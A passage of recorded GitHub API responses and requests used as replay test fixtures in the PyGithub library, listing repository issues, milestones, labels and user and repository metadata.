v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Add copyright and license notice","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-13T07:04:42Z","body":"","number":16,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/16","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/16","labels":[{"color":"444444","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management"}],"id":3624595,"created_at":"2012-03-13T06:25:31Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Rework BaseUrl to use tuples instead of string concatenation","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-13T06:23:35Z","body":"","number":14,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/14","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/14","labels":[{"color":"0b02e1","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring"}],"id":3624570,"created_at":"2012-03-13T06:23:35Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Remove the _repo hugly hack","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-13T06:22:27Z","body":"","number":13,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/13","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/13","labels":[{"color":"0b02e1","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Refactoring","name":"Refactoring"}],"id":3624561,"created_at":"2012-03-13T06:22:27Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Structure some InternalSimpleAttributes","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-13T06:21:57Z","body":"","number":12,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/12","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/12","labels":[{"color":"d7e102","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface"}],"id":3624556,"created_at":"2012-03-13T06:21:57Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Publish version 1.0","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-12T21:58:05Z","body":"","number":9,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/9","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/9","labels":[{"color":"444444","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Project+management","name":"Project management"}],"id":3619973,"created_at":"2012-03-12T21:58:05Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Review public interface homogeneity ","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-08T12:23:29Z","body":"","number":4,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/4","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/4","labels":[{"color":"d7e102","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface"}],"id":3527266,"created_at":"2012-03-06T16:48:40Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":null,"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Deduce mandatory parameters","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-05-19T06:42:43Z","body":"","number":3,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/3","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/3","labels":[{"color":"e102d8","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities"}],"id":3527245,"created_at":"2012-03-06T16:47:49Z"},{"repository":{"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T18:33:41Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":15,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T11:25:48Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":14,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"created_at":"2012-02-25T12:53:47Z"},"milestone":{"state":"open","description":"Heavy rewrite to have:\r\n* a fully coherent public interface\r\n* usable stack-traces in case of exception\r\n* more explicit exceptions\r\n* more readable code (for library exploration, auto-completion in IDEs, etc.)\r\n\r\nSee working branch https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode","title":"Version 1.0: coherent public interface","due_on":"2012-06-04T07:00:00Z","open_issues":9,"number":2,"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/2","creator":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"closed_issues":2,"id":93547,"created_at":"2012-03-08T12:22:28Z"},"state":"open","user":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"title":"Use objects as parameters instead of shas, ids, etc.","comments":0,"assignee":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"updated_at":"2012-03-08T12:23:29Z","body":"","number":2,"closed_at":null,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null},"html_url":"https://github.com/jacquev6/PyGithub/issues/2","url":"https://api.github.com/repos/jacquev6/PyGithub/issues/2","labels":[{"color":"d7e102","url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface"}],"id":3527231,"created_at":"2012-03-06T16:46:49Z"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testGetIssuesWithAllArguments.txt0000644000175100001660000151332414756101563030336 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4993'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '1496'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 11:20:54 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"16804c53098398def5970814e79a2cf5"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:34:57 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":16,"followers":27,"following":39,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-05-17T11:20:54Z","public_gists":3,"total_private_repos":4,"owned_private_repos":4,"disk_usage":17188,"collaborators":1,"plan":{"name":"micro","space":614400,"collaborators":1,"private_repos":5},"private_gists":6,"site_admin":false} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '4663'), ('server', 'GitHub.com'), ('last-modified', 'Mon, 13 May 2013 21:44:12 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2184e9e10f0a22eb0f1eceed39d728da"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 11:34:58 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"network_count":55} https GET api.github.com None /repos/jacquev6/PyGithub/labels/Requested%20by%20user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, 